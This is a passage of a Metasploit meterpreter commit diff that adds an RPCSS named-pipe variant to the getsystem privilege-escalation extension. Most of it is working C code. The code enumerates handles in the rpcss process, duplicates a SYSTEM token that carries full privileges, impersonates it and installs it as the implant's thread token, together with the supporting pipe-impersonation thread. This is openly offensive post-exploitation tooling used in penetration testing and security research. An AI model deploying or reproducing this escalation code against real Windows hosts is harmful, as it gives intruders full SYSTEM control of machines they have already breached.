mirror of
https://github.com/rapid7/metasploit-payloads
synced 2025-03-24 18:16:24 +01:00
x64 version is working
This commit is contained in:
parent
ee72ac26b9
commit
7967fd569d
c/meterpreter
source/extensions/priv
workspace/ext_server_priv
@ -105,6 +105,15 @@ DWORD elevate_getsystem( Remote * remote, Packet * packet )
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if (dwTechnique == ELEVATE_TECHNIQUE_ANY || dwTechnique == ELEVATE_TECHNIQUE_SERVICE_NAMEDPIPE_RPCSS) {
|
||||
dprintf("[ELEVATE] Attempting ELEVATE_TECHNIQUE_SERVICE_NAMEDPIPE_RPCSS (%u)", ELEVATE_TECHNIQUE_SERVICE_NAMEDPIPE_RPCSS);
|
||||
if ( (dwResult = elevate_via_service_namedpipe_rpcss( remote, packet )) == ERROR_SUCCESS) {
|
||||
dwTechnique = ELEVATE_TECHNIQUE_SERVICE_NAMEDPIPE_RPCSS;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
} while( 0 );
|
||||
|
||||
if( response )
|
||||
|
@ -5,11 +5,12 @@
|
||||
#ifndef _METERPRETER_SOURCE_EXTENSION_PRIV_PRIV_SERVER_ELEVATE_ELEVATE_H
|
||||
#define _METERPRETER_SOURCE_EXTENSION_PRIV_PRIV_SERVER_ELEVATE_ELEVATE_H
|
||||
|
||||
#define ELEVATE_TECHNIQUE_NONE -1 ///< Identifier that indicates no technique was successful
|
||||
#define ELEVATE_TECHNIQUE_ANY 0 ///< Identifier that indicates that all techniques should be attempted.
|
||||
#define ELEVATE_TECHNIQUE_SERVICE_NAMEDPIPE 1 ///< Identifier for the Named Pipe service tecnique (#1)
|
||||
#define ELEVATE_TECHNIQUE_SERVICE_NAMEDPIPE2 2 ///< Identifier for the Named Pipe service tecnique (#2)
|
||||
#define ELEVATE_TECHNIQUE_SERVICE_TOKENDUP 3 ///< Identifier for the Token Duplication service technique.
|
||||
#define ELEVATE_TECHNIQUE_NONE -1 ///< Identifier that indicates no technique was successful
|
||||
#define ELEVATE_TECHNIQUE_ANY 0 ///< Identifier that indicates that all techniques should be attempted.
|
||||
#define ELEVATE_TECHNIQUE_SERVICE_NAMEDPIPE 1 ///< Identifier for the Named Pipe service technique (#1)
|
||||
#define ELEVATE_TECHNIQUE_SERVICE_NAMEDPIPE2 2 ///< Identifier for the Named Pipe service technique (#2)
|
||||
#define ELEVATE_TECHNIQUE_SERVICE_TOKENDUP 3 ///< Identifier for the Token Duplication service technique.
|
||||
#define ELEVATE_TECHNIQUE_SERVICE_NAMEDPIPE_RPCSS 4 ///< Identifier for the Named Pipe service technique (RPCSS variant)
|
||||
|
||||
typedef void (WINAPI * GETNATIVESYSTEMINFO)( LPSYSTEM_INFO lpSystemInfo ); ///< Stolen from ps.h
|
||||
|
||||
|
@ -1,3 +1,4 @@
|
||||
#include <winternl.h>
|
||||
#include "precomp.h"
|
||||
#include "common_metapi.h"
|
||||
#include "namedpipe.h"
|
||||
@ -5,13 +6,368 @@
|
||||
|
||||
typedef DWORD (*Callback)(LPVOID);
|
||||
|
||||
typedef enum _OBJECT_INFORMATION_CLASS {
|
||||
ObjectBasicInformation = 0,
|
||||
ObjectTypeInformation = 2
|
||||
} OBJECT_INFORMATION_CLASS;
|
||||
|
||||
#define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0)
|
||||
typedef NTSTATUS(WINAPI* NTQUERYINFORMATIONPROCESS)(HANDLE ProcessHandle, DWORD ProcessInformationClass, PVOID ProcessInformation, ULONG ProcessInformationLength, PULONG ReturnLength);
|
||||
typedef NTSTATUS(WINAPI* NTQUERYOBJECT)(HANDLE Handle, DWORD ObjectInformationClass, PVOID ObjectInformation, ULONG ObjectInformationLength, PULONG ReturnLength);
|
||||
|
||||
typedef enum _PROCESSINFOCLASS
|
||||
{
|
||||
ProcessBasicInformation = 0,
|
||||
ProcessHandleInformation = 51,
|
||||
} PROCESSINFOCLASS;
|
||||
|
||||
typedef struct _PROCESS_HANDLE_TABLE_ENTRY_INFO
|
||||
{
|
||||
HANDLE HandleValue;
|
||||
ULONG_PTR HandleCount;
|
||||
ULONG_PTR PointerCount;
|
||||
ACCESS_MASK GrantedAccess;
|
||||
ULONG ObjectTypeIndex;
|
||||
ULONG HandleAttributes;
|
||||
ULONG Reserved;
|
||||
} PROCESS_HANDLE_TABLE_ENTRY_INFO, * PPROCESS_HANDLE_TABLE_ENTRY_INFO;
|
||||
|
||||
typedef struct _PROCESS_HANDLE_SNAPSHOT_INFORMATION
|
||||
{
|
||||
ULONG_PTR NumberOfHandles;
|
||||
ULONG_PTR Reserved;
|
||||
PROCESS_HANDLE_TABLE_ENTRY_INFO Handles[1];
|
||||
} PROCESS_HANDLE_SNAPSHOT_INFORMATION, * PPROCESS_HANDLE_SNAPSHOT_INFORMATION;
|
||||
|
||||
typedef struct _OBJECT_TYPE_INFORMATION
|
||||
{
|
||||
_UNICODE_STRING TypeName;
|
||||
ULONG TotalNumberOfObjects;
|
||||
ULONG TotalNumberOfHandles;
|
||||
ULONG TotalPagedPoolUsage;
|
||||
ULONG TotalNonPagedPoolUsage;
|
||||
ULONG TotalNamePoolUsage;
|
||||
ULONG TotalHandleTableUsage;
|
||||
ULONG HighWaterNumberOfObjects;
|
||||
ULONG HighWaterNumberOfHandles;
|
||||
ULONG HighWaterPagedPoolUsage;
|
||||
ULONG HighWaterNonPagedPoolUsage;
|
||||
ULONG HighWaterNamePoolUsage;
|
||||
ULONG HighWaterHandleTableUsage;
|
||||
ULONG InvalidAttributes;
|
||||
GENERIC_MAPPING GenericMapping;
|
||||
ULONG ValidAccessMask;
|
||||
BOOLEAN SecurityRequired;
|
||||
BOOLEAN MaintainHandleCount;
|
||||
UCHAR TypeIndex;
|
||||
CHAR ReservedByte;
|
||||
ULONG PoolType;
|
||||
ULONG DefaultPagedPoolCharge;
|
||||
ULONG DefaultNonPagedPoolCharge;
|
||||
} OBJECT_TYPE_INFORMATION, * POBJECT_TYPE_INFORMATION;
|
||||
|
||||
BOOL is_equal_luid(const PLUID luid1, const PLUID luid2) {
|
||||
return ((luid1->HighPart == luid2->HighPart) && (luid1->LowPart == luid2->LowPart));
|
||||
}
|
||||
|
||||
DWORD post_callback_use_self(Remote* remote);
|
||||
|
||||
// TODO: clean this function up
|
||||
DWORD get_token_object_index(PULONG TokenIndex)
|
||||
{
|
||||
HANDLE hToken;
|
||||
BOOL bRes;
|
||||
NTSTATUS status;
|
||||
HMODULE hNtdll = NULL;
|
||||
NTQUERYOBJECT pNtQueryObject = NULL;
|
||||
|
||||
struct
|
||||
{
|
||||
OBJECT_TYPE_INFORMATION TypeInfo;
|
||||
WCHAR TypeNameBuffer[sizeof("Token")];
|
||||
} typeInfoWithName;
|
||||
|
||||
//
|
||||
// Open the current process token
|
||||
//
|
||||
bRes = OpenProcessToken(GetCurrentProcess(), MAXIMUM_ALLOWED, &hToken);
|
||||
if (bRes == FALSE)
|
||||
{
|
||||
dprintf("[ELEVATE] get_token_object_index. OpenProcessToken failed");
|
||||
return HRESULT_FROM_WIN32(GetLastError());
|
||||
}
|
||||
|
||||
hNtdll = GetModuleHandle("ntdll");
|
||||
if (hNtdll == NULL) {
|
||||
dprintf("[ELEVATE] get_token_object_index. GetModuleHandle(\"ntdll\") failed");
|
||||
// TODO: dprintf a message here
|
||||
return GetLastError();
|
||||
}
|
||||
|
||||
pNtQueryObject = (NTQUERYOBJECT)(GetProcAddress(hNtdll, "NtQueryObject"));
|
||||
if (pNtQueryObject == NULL) {
|
||||
dprintf("[ELEVATE] get_token_object_index. GetProcAddress(hNtdll, \"NtQueryObject\") failed");
|
||||
// TODO: dprintf a message here
|
||||
return GetLastError();
|
||||
}
|
||||
|
||||
//
|
||||
// Get the object type information for the token handle
|
||||
//
|
||||
status = pNtQueryObject(hToken,
|
||||
ObjectTypeInformation,
|
||||
&typeInfoWithName,
|
||||
sizeof(typeInfoWithName),
|
||||
NULL);
|
||||
CloseHandle(hToken);
|
||||
if (!NT_SUCCESS(status))
|
||||
{
|
||||
dprintf("[ELEVATE] get_token_object_index. NtQueryObject failed");
|
||||
return HRESULT_FROM_NT(status);
|
||||
}
|
||||
|
||||
//
|
||||
// Return the object type index
|
||||
//
|
||||
*TokenIndex = typeInfoWithName.TypeInfo.TypeIndex;
|
||||
dprintf("[ELEVATE] get_token_object_index. token index: %ul", typeInfoWithName.TypeInfo.TypeIndex);
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
// TODO: clean this function up
|
||||
DWORD get_system_token(HANDLE hProc, PHANDLE phToken)
|
||||
{
|
||||
NTSTATUS status;
|
||||
PROCESS_HANDLE_SNAPSHOT_INFORMATION localInfo;
|
||||
PPROCESS_HANDLE_SNAPSHOT_INFORMATION handleInfo = &localInfo;
|
||||
ULONG bytes;
|
||||
ULONG tokenIndex;
|
||||
ULONG i;
|
||||
HRESULT hResult = ERROR_UNIDENTIFIED_ERROR;
|
||||
BOOL bRes;
|
||||
HANDLE dupHandle;
|
||||
TOKEN_STATISTICS tokenStats;
|
||||
LUID systemLuid = SYSTEM_LUID;
|
||||
HMODULE hNtdll = NULL;
|
||||
NTQUERYINFORMATIONPROCESS pNtQueryInformationProcess = NULL;
|
||||
|
||||
//
|
||||
// Get the Object Type Index for Token Objects so we can recognize them
|
||||
//
|
||||
if (FAILED(get_token_object_index(&tokenIndex))) {
|
||||
dprintf("[ELEVATE] get_system_token. get_token_object_index failed");
|
||||
goto Failure;
|
||||
}
|
||||
|
||||
hNtdll = GetModuleHandle("ntdll");
|
||||
if (hNtdll == NULL) {
|
||||
dprintf("[ELEVATE] get_system_token. GetModuleHandle(\"ntdll\") failed");
|
||||
return ERROR_UNIDENTIFIED_ERROR;
|
||||
}
|
||||
|
||||
pNtQueryInformationProcess = (NTQUERYINFORMATIONPROCESS)(GetProcAddress(hNtdll, "NtQueryInformationProcess"));
|
||||
if (pNtQueryInformationProcess == NULL) {
|
||||
dprintf("[ELEVATE] get_system_token. GetProcAddress(hNtdll, \"NtQueryInformationProcess\") failed");
|
||||
return ERROR_UNIDENTIFIED_ERROR;
|
||||
}
|
||||
|
||||
dprintf("[ELEVATE] resolved NtQueryInformationProcess");
|
||||
//
|
||||
// Check how big the process handle list is
|
||||
//
|
||||
status = pNtQueryInformationProcess(hProc,
|
||||
ProcessHandleInformation,
|
||||
handleInfo,
|
||||
sizeof(*handleInfo),
|
||||
&bytes);
|
||||
if (NT_SUCCESS(status))
|
||||
{
|
||||
dprintf("[ELEVATE] get_system_token. NtQueryInformationProcess failed");
|
||||
goto Failure;
|
||||
}
|
||||
|
||||
//
|
||||
// Add space for 16 more handles and try again
|
||||
//
|
||||
bytes += 16 * sizeof(*handleInfo);
|
||||
handleInfo = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, bytes);
|
||||
status = pNtQueryInformationProcess(hProc, ProcessHandleInformation, handleInfo, bytes, NULL);
|
||||
if (!NT_SUCCESS(status))
|
||||
{
|
||||
dprintf("[ELEVATE] get_system_token. failed to allocate enough space for NtQueryInformationProcess");
|
||||
goto Failure;
|
||||
}
|
||||
|
||||
dprintf("[ELEVATE] get_system_token. retrieved process handle information (number: %u)", handleInfo->NumberOfHandles);
|
||||
|
||||
//
|
||||
// Enumerate each one
|
||||
//
|
||||
for (i = 0; i < handleInfo->NumberOfHandles; i++)
|
||||
{
|
||||
//
|
||||
// Check if it's a token handle with full access
|
||||
//
|
||||
if (handleInfo->Handles[i].ObjectTypeIndex != tokenIndex) {
|
||||
continue;
|
||||
}
|
||||
|
||||
if (handleInfo->Handles[i].GrantedAccess != 0xf01ff) {
|
||||
//dprintf("[ELEVATE] get_system_token. token object is missing all access (GrantedAccess: %#08x)", handleInfo->Handles[i].GrantedAccess);
|
||||
continue;
|
||||
}
|
||||
|
||||
//
|
||||
// Duplicate the token so we can take a look at it
|
||||
//
|
||||
bRes = DuplicateHandle(hProc,
|
||||
handleInfo->Handles[i].HandleValue,
|
||||
GetCurrentProcess(),
|
||||
&dupHandle,
|
||||
0,
|
||||
TRUE,
|
||||
DUPLICATE_SAME_ACCESS);
|
||||
if (bRes == FALSE)
|
||||
{
|
||||
dprintf("[ELEVATE] get_system_token. DuplicateHandle failed");
|
||||
goto Failure;
|
||||
}
|
||||
|
||||
//
|
||||
// Get information on the token
|
||||
//
|
||||
if (!GetTokenInformation(dupHandle, TokenStatistics, &tokenStats, sizeof(tokenStats), &bytes)) {
|
||||
dprintf("[ELEVATE] get_system_token. GetTokenInformation failed");
|
||||
CloseHandle(dupHandle);
|
||||
goto Failure;
|
||||
}
|
||||
|
||||
dprintf("[ELEVATE] get_system_token. retrieved the token information");
|
||||
|
||||
if (!is_equal_luid(&tokenStats.AuthenticationId, &systemLuid)) {
|
||||
dprintf("[ELEVATE] get_system_token. token is not SYSTEM");
|
||||
CloseHandle(dupHandle);
|
||||
continue;
|
||||
}
|
||||
|
||||
dprintf("[ELEVATE] get_system_token. analyzing handle: 0x%#08x", handleInfo->Handles[i].HandleValue);
|
||||
|
||||
//
|
||||
// Check if its a system token with all of its privileges intact
|
||||
//
|
||||
if (tokenStats.PrivilegeCount < 22) { // TODO: set this back to 22 for Windows 10
|
||||
dprintf("[ELEVATE] get_system_token. token is missing privileges (count: %u)", tokenStats.PrivilegeCount);
|
||||
CloseHandle(dupHandle);
|
||||
continue;
|
||||
}
|
||||
|
||||
HANDLE hThread = GetCurrentThread();
|
||||
if (!SetThreadToken(&hThread, dupHandle)) {
|
||||
dprintf("[ELEVATE] get_system_token. SetThreadToken failed <---------------------");
|
||||
CloseHandle(dupHandle);
|
||||
continue;
|
||||
}
|
||||
|
||||
*phToken = dupHandle;
|
||||
//SetThreadToken(GetCurrentThread(), dupHandle);
|
||||
|
||||
dprintf("[ELEVATE] Found a SYSTEM token");
|
||||
//
|
||||
// Get out of the loop
|
||||
//
|
||||
hResult = ERROR_SUCCESS;
|
||||
break;
|
||||
|
||||
}
|
||||
|
||||
Failure:
|
||||
//
|
||||
// Free the handle list if we had one
|
||||
//
|
||||
if (handleInfo != &localInfo)
|
||||
{
|
||||
HeapFree(GetProcessHeap(), 0, handleInfo);
|
||||
}
|
||||
return hResult;
|
||||
}
|
||||
|
||||
DWORD post_callback_use_rpcss(Remote* remote)
|
||||
{
|
||||
SC_HANDLE hScm = NULL;
|
||||
SC_HANDLE hSvc = NULL;
|
||||
HANDLE hProc = NULL;
|
||||
SERVICE_STATUS_PROCESS procInfo;
|
||||
DWORD dwBytes;
|
||||
DWORD dwResult = ERROR_ACCESS_DENIED;
|
||||
HANDLE hToken = NULL;
|
||||
|
||||
do {
|
||||
hScm = OpenSCManager(NULL, NULL, SC_MANAGER_CONNECT);
|
||||
if (hScm == NULL) {
|
||||
BREAK_ON_ERROR("[ELEVATE] post_callback_use_rpcss. OpenSCManager failed");
|
||||
}
|
||||
|
||||
// validated to here // TODO: remove this comment
|
||||
|
||||
hSvc = OpenService(hScm, "rpcss", SERVICE_QUERY_STATUS);
|
||||
if (hSvc == NULL) {
|
||||
BREAK_ON_ERROR("[ELEVATE] post_callback_use_rpcss. OpenService failed");
|
||||
}
|
||||
|
||||
if (!QueryServiceStatusEx(hSvc, SC_STATUS_PROCESS_INFO, (LPBYTE)&procInfo, sizeof(procInfo), &dwBytes)) {
|
||||
BREAK_ON_ERROR("[ELEVATE] post_callback_use_rpcss. QueryServiceStatusEx failed");
|
||||
}
|
||||
|
||||
hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, procInfo.dwProcessId);
|
||||
if (hProc == NULL) {
|
||||
BREAK_ON_ERROR("[ELEVATE] post_callback_use_rpcss. OpenProcess failed");
|
||||
}
|
||||
|
||||
if (get_system_token(hProc, &hToken) != ERROR_SUCCESS) {
|
||||
BREAK_ON_ERROR("[ELEVATE] post_callback_use_rpcss. get_system_token failed");
|
||||
}
|
||||
|
||||
dwResult = ERROR_SUCCESS;
|
||||
dprintf("[ELEVATE] post_callback_use_rpcss. dispatching to use_self");
|
||||
post_callback_use_self(remote);
|
||||
} while (0);
|
||||
|
||||
//if (hToken) {
|
||||
// CloseHandle(hToken);
|
||||
// hToken = NULL;
|
||||
//}
|
||||
|
||||
if (hProc) {
|
||||
CloseHandle(hProc);
|
||||
hProc = NULL;
|
||||
}
|
||||
|
||||
if (hSvc) {
|
||||
CloseServiceHandle(hSvc);
|
||||
hSvc = NULL;
|
||||
}
|
||||
|
||||
if (hScm) {
|
||||
CloseServiceHandle(hScm);
|
||||
hScm = NULL;
|
||||
}
|
||||
|
||||
// TODO: uncomment this
|
||||
//if (dwResult != ERROR_SUCCESS) {
|
||||
// RevertToSelf();
|
||||
//}
|
||||
return dwResult;
|
||||
}
|
||||
|
||||
/*
|
||||
* A post-impersonation callback that simply updates the meterpreter token to the
|
||||
* current thread token.
|
||||
* current thread token. This is used by the standard service-based technique.
|
||||
*/
|
||||
DWORD post_callback_use_self(Remote * remote)
|
||||
{
|
||||
HANDLE hToken = NULL;
|
||||
TOKEN_STATISTICS tokenStats;
|
||||
DWORD bytes;
|
||||
LUID systemLuid = SYSTEM_LUID;
|
||||
|
||||
// get a handle to this threads token
|
||||
if (!OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, FALSE, &hToken)) {
|
||||
@ -19,6 +375,16 @@ DWORD post_callback_use_self(Remote * remote)
|
||||
return GetLastError();
|
||||
}
|
||||
|
||||
if (!GetTokenInformation(hToken, TokenStatistics, &tokenStats, sizeof(tokenStats), &bytes)) {
|
||||
dprintf("[ELEVATE] post_callback_use_self. GetTokenInformation failed");
|
||||
}
|
||||
if (!is_equal_luid(&tokenStats.AuthenticationId, &systemLuid)) {
|
||||
dprintf("[ELEVATE] post_callback_use_self. token is **not** SYSTEM");
|
||||
}
|
||||
else {
|
||||
dprintf("[ELEVATE] post_callback_use_self. token is SYSTEM");
|
||||
}
|
||||
|
||||
// now we can set the meterpreters thread token to that of our system
|
||||
// token so all subsequent meterpreter threads will use this token.
|
||||
met_api->thread.update_token(remote, hToken);
|
||||
@ -32,9 +398,9 @@ DWORD post_callback_use_self(Remote * remote)
|
||||
DWORD THREADCALL elevate_namedpipe_thread(THREAD * thread)
|
||||
{
|
||||
DWORD dwResult = ERROR_ACCESS_DENIED;
|
||||
HANDLE hServerPipe = NULL;
|
||||
HANDLE hPipe = NULL;
|
||||
HANDLE hSem = NULL;
|
||||
char * cpServicePipe = NULL;
|
||||
char * cpPipeName = NULL;
|
||||
Remote * remote = NULL;
|
||||
BYTE bMessage[128] = {0};
|
||||
DWORD dwBytes = 0;
|
||||
@ -45,23 +411,23 @@ DWORD THREADCALL elevate_namedpipe_thread(THREAD * thread)
|
||||
BREAK_WITH_ERROR("[ELEVATE] elevate_namedpipe_thread. invalid thread", ERROR_BAD_ARGUMENTS);
|
||||
}
|
||||
|
||||
cpServicePipe = (char *)thread->parameter1;
|
||||
cpPipeName = (char *)thread->parameter1;
|
||||
remote = (Remote *)thread->parameter2;
|
||||
hSem = (HANDLE)thread->parameter3;
|
||||
fPostImpersonation = (Callback)thread->parameter4;
|
||||
|
||||
if (!cpServicePipe || !remote) {
|
||||
if (!cpPipeName || !remote) {
|
||||
BREAK_WITH_ERROR("[ELEVATE] elevate_namedpipe_thread. invalid thread arguments",
|
||||
ERROR_BAD_ARGUMENTS);
|
||||
}
|
||||
|
||||
dprintf("[ELEVATE] pipethread. CreateNamedPipe(%s)",cpServicePipe);
|
||||
dprintf("[ELEVATE] pipethread. CreateNamedPipe(%s)", cpPipeName);
|
||||
|
||||
// create the named pipe for the client service to connect to
|
||||
hServerPipe = CreateNamedPipe(cpServicePipe,
|
||||
hPipe = CreateNamedPipe(cpPipeName,
|
||||
PIPE_ACCESS_DUPLEX, PIPE_TYPE_MESSAGE|PIPE_WAIT, 2, 0, 0, 0, NULL);
|
||||
|
||||
if (!hServerPipe) {
|
||||
if (!hPipe) {
|
||||
BREAK_ON_ERROR("[ELEVATE] elevate_namedpipe_thread. CreateNamedPipe failed");
|
||||
}
|
||||
|
||||
@ -71,7 +437,7 @@ DWORD THREADCALL elevate_namedpipe_thread(THREAD * thread)
|
||||
ERROR_DBG_TERMINATE_THREAD);
|
||||
}
|
||||
|
||||
//signal the client that the pipe is ready
|
||||
// signal the client that the pipe is ready
|
||||
if (hSem) {
|
||||
if (!ReleaseSemaphore(hSem, 1, NULL)) {
|
||||
BREAK_WITH_ERROR("[ELEVATE] elevate_namedpipe_thread. ReleaseSemaphore failed",
|
||||
@ -80,7 +446,7 @@ DWORD THREADCALL elevate_namedpipe_thread(THREAD * thread)
|
||||
}
|
||||
|
||||
// wait for a client to connect to our named pipe...
|
||||
if (!ConnectNamedPipe(hServerPipe, NULL)) {
|
||||
if (!ConnectNamedPipe(hPipe, NULL)) {
|
||||
if (GetLastError() != ERROR_PIPE_CONNECTED)
|
||||
continue;
|
||||
}
|
||||
@ -88,12 +454,12 @@ DWORD THREADCALL elevate_namedpipe_thread(THREAD * thread)
|
||||
dprintf("[ELEVATE] pipethread. receieved a client connection");
|
||||
|
||||
// we can't impersonate a client untill we have performed a read on the pipe...
|
||||
if (!ReadFile(hServerPipe, &bMessage, 1, &dwBytes, NULL)) {
|
||||
if (!ReadFile(hPipe, &bMessage, 1, &dwBytes, NULL)) {
|
||||
CONTINUE_ON_ERROR("[ELEVATE] pipethread. ReadFile failed");
|
||||
}
|
||||
|
||||
// impersonate the client!
|
||||
if (!ImpersonateNamedPipeClient(hServerPipe)) {
|
||||
if (!ImpersonateNamedPipeClient(hPipe)) {
|
||||
CONTINUE_ON_ERROR("[ELEVATE] elevate_namedpipe_thread. ImpersonateNamedPipeClient failed");
|
||||
}
|
||||
|
||||
@ -103,19 +469,21 @@ DWORD THREADCALL elevate_namedpipe_thread(THREAD * thread)
|
||||
CONTINUE_ON_ERROR("[ELEVATE] elevate_namedpipe_thread. the post impersonation callback failed");
|
||||
}
|
||||
}
|
||||
else {
|
||||
dwResult = ERROR_SUCCESS;
|
||||
}
|
||||
|
||||
break;
|
||||
}
|
||||
|
||||
} while (0);
|
||||
|
||||
if (hServerPipe) {
|
||||
DisconnectNamedPipe(hServerPipe);
|
||||
CLOSE_HANDLE(hServerPipe);
|
||||
if (hPipe) {
|
||||
DisconnectNamedPipe(hPipe);
|
||||
CLOSE_HANDLE(hPipe);
|
||||
}
|
||||
|
||||
dprintf("[ELEVATE] elevate_namedpipe_thread finishing, dwResult=%d", dwResult);
|
||||
|
||||
return dwResult;
|
||||
}
|
||||
|
||||
@ -173,24 +541,24 @@ DWORD elevate_via_service_namedpipe(Remote * remote, Packet * packet)
|
||||
ERROR_ACCESS_DENIED);
|
||||
}
|
||||
|
||||
//wait for the thread to create the pipe(if it times out terminate)
|
||||
if (hSem) {
|
||||
if (WaitForSingleObject(hSem, 500) != WAIT_OBJECT_0) {
|
||||
BREAK_WITH_ERROR("[ELEVATE] elevate_via_service_namedpipe. WaitForSingleObject failed",
|
||||
// wait for the thread to create the pipe, if it times out terminate
|
||||
if (hSem) {
|
||||
if (WaitForSingleObject(hSem, 500) != WAIT_OBJECT_0) {
|
||||
BREAK_WITH_ERROR("[ELEVATE] elevate_via_service_namedpipe. WaitForSingleObject failed",
|
||||
ERROR_ACCESS_DENIED);
|
||||
}
|
||||
} else {
|
||||
Sleep(500);
|
||||
} else {
|
||||
Sleep(500);
|
||||
}
|
||||
|
||||
// start the elevator service (if it doesnt start first time we need to create it and then start it).
|
||||
// start the elevator service (if it doesn't start first time we need to create it and then start it).
|
||||
if (service_start(cpServiceName) != ERROR_SUCCESS) {
|
||||
dprintf("[ELEVATE] service starting failed, attempting to create");
|
||||
if (service_create(cpServiceName, cServiceArgs) != ERROR_SUCCESS) {
|
||||
BREAK_ON_ERROR("[ELEVATE] elevate_via_service_namedpipe. service_create failed");
|
||||
}
|
||||
dprintf("[ELEVATE] creation of service succeeded, attempting to start");
|
||||
// we dont check a return value for service_start as we expect it to fail as cmd.exe is not
|
||||
// we don't check a return value for service_start as we expect it to fail as cmd.exe is not
|
||||
// a valid service and it will never signal to the service manager that is is a running service.
|
||||
service_start(cpServiceName);
|
||||
}
|
||||
@ -310,12 +678,13 @@ DWORD elevate_via_service_namedpipe2(Remote * remote, Packet * packet)
|
||||
}
|
||||
|
||||
//wait for the thread to create the pipe(if it times out terminate)
|
||||
if (hSem) {
|
||||
if (WaitForSingleObject(hSem, 500) != WAIT_OBJECT_0)
|
||||
BREAK_WITH_ERROR("[ELEVATE] elevate_via_service_namedpipe2. WaitForSingleObject failed",
|
||||
if (hSem) {
|
||||
if (WaitForSingleObject(hSem, 500) != WAIT_OBJECT_0) {
|
||||
BREAK_WITH_ERROR("[ELEVATE] elevate_via_service_namedpipe2. WaitForSingleObject failed",
|
||||
ERROR_ACCESS_DENIED);
|
||||
} else {
|
||||
Sleep(500);
|
||||
}
|
||||
} else {
|
||||
Sleep(500);
|
||||
}
|
||||
|
||||
// start the elevator service (if it doesnt start first time we need to create it and then start it).
|
||||
@ -368,3 +737,90 @@ DWORD elevate_via_service_namedpipe2(Remote * remote, Packet * packet)
|
||||
|
||||
return dwResult;
|
||||
}
|
||||
|
||||
DWORD elevate_via_service_namedpipe_rpcss(Remote* remote, Packet* packet)
|
||||
{
|
||||
DWORD dwResult = ERROR_ACCESS_DENIED;
|
||||
THREAD* pThread = NULL;
|
||||
HANDLE hSem = NULL;
|
||||
char cServicePipe[MAX_PATH] = { 0 };
|
||||
OSVERSIONINFO os = { 0 };
|
||||
HANDLE hPipe = NULL;
|
||||
|
||||
// TODO: update log message function names in here
|
||||
do {
|
||||
os.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
|
||||
|
||||
if (!GetVersionEx(&os)) {
|
||||
BREAK_ON_ERROR("[ELEVATE] elevate_via_service_namedpipe: GetVersionEx failed")
|
||||
}
|
||||
|
||||
// filter out Windows NT4 // TODO: Update this to XP per https://windows-internals.com/faxing-your-way-to-system/ (An Elevated Fax)
|
||||
if (os.dwMajorVersion == 4 && os.dwMinorVersion == 0) {
|
||||
SetLastError(ERROR_ACCESS_DENIED);
|
||||
BREAK_ON_ERROR("[ELEVATE] elevate_via_service_namedpipe: Windows NT4 not supported.")
|
||||
}
|
||||
|
||||
// TODO: randomize this name
|
||||
_snprintf_s(cServicePipe, sizeof(cServicePipe), MAX_PATH,
|
||||
"\\\\.\\pipe\\pipey1");
|
||||
|
||||
hSem = CreateSemaphore(NULL, 0, 1, NULL);
|
||||
pThread = met_api->thread.create(elevate_namedpipe_thread, &cServicePipe, remote, hSem, (Callback)post_callback_use_rpcss);
|
||||
if (!pThread) {
|
||||
BREAK_WITH_ERROR("[ELEVATE] elevate_via_service_namedpipe. met_api->thread.create failed",
|
||||
ERROR_INVALID_HANDLE);
|
||||
}
|
||||
|
||||
if (!met_api->thread.run(pThread)) {
|
||||
BREAK_WITH_ERROR("[ELEVATE] elevate_via_service_namedpipe. met_api->thread.run failed",
|
||||
ERROR_ACCESS_DENIED);
|
||||
}
|
||||
|
||||
// wait for the thread to create the pipe, if it times out terminate
|
||||
if (hSem) {
|
||||
if (WaitForSingleObject(hSem, 500) != WAIT_OBJECT_0) {
|
||||
BREAK_WITH_ERROR("[ELEVATE] elevate_via_service_namedpipe. WaitForSingleObject failed",
|
||||
ERROR_ACCESS_DENIED);
|
||||
}
|
||||
}
|
||||
else {
|
||||
Sleep(500);
|
||||
}
|
||||
|
||||
hPipe = CreateFile("\\\\localhost\\pipe\\pipey1", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
|
||||
if (hPipe == INVALID_HANDLE_VALUE) {
|
||||
BREAK_ON_ERROR("[ELEVATE] elevate_via_service_namedpipe. CreateFile failed");
|
||||
}
|
||||
|
||||
if (!WriteFile(hPipe, "\x00", 1, NULL, NULL)) {
|
||||
BREAK_ON_ERROR("[ELEVATE] elevate_via_service_namedpipe. WriteFile failed");
|
||||
}
|
||||
|
||||
|
||||
WaitForSingleObject(pThread->handle, 5000);
|
||||
met_api->thread.sigterm(pThread);
|
||||
met_api->thread.join(pThread);
|
||||
|
||||
// get the exit code for our pthread
|
||||
dprintf("[ELEVATE] dwResult before exit code: %u", dwResult);
|
||||
if (!GetExitCodeThread(pThread->handle, &dwResult)) {
|
||||
BREAK_WITH_ERROR("[ELEVATE] elevate_via_service_namedpipe. GetExitCodeThread failed",
|
||||
ERROR_INVALID_HANDLE);
|
||||
}
|
||||
dprintf("[ELEVATE] dwResult after exit code: %u", dwResult);
|
||||
|
||||
} while (0);
|
||||
|
||||
if (hPipe) {
|
||||
CloseHandle(hPipe);
|
||||
}
|
||||
if (pThread) {
|
||||
met_api->thread.destroy(pThread);
|
||||
}
|
||||
if (hSem) {
|
||||
CloseHandle(hSem);
|
||||
}
|
||||
|
||||
return dwResult;
|
||||
}
|
@ -3,5 +3,6 @@
|
||||
|
||||
DWORD elevate_via_service_namedpipe( Remote * remote, Packet * packet );
|
||||
DWORD elevate_via_service_namedpipe2( Remote * remote, Packet * packet );
|
||||
DWORD elevate_via_service_namedpipe_rpcss( Remote* remote, Packet* packet);
|
||||
|
||||
#endif
|
||||
|
@ -98,7 +98,7 @@
|
||||
<Optimization>MinSpace</Optimization>
|
||||
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
|
||||
<AdditionalIncludeDirectories>..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\priv\server;..\..\source\common;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;EXT_SERVER_PRIV_EXPORTS;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
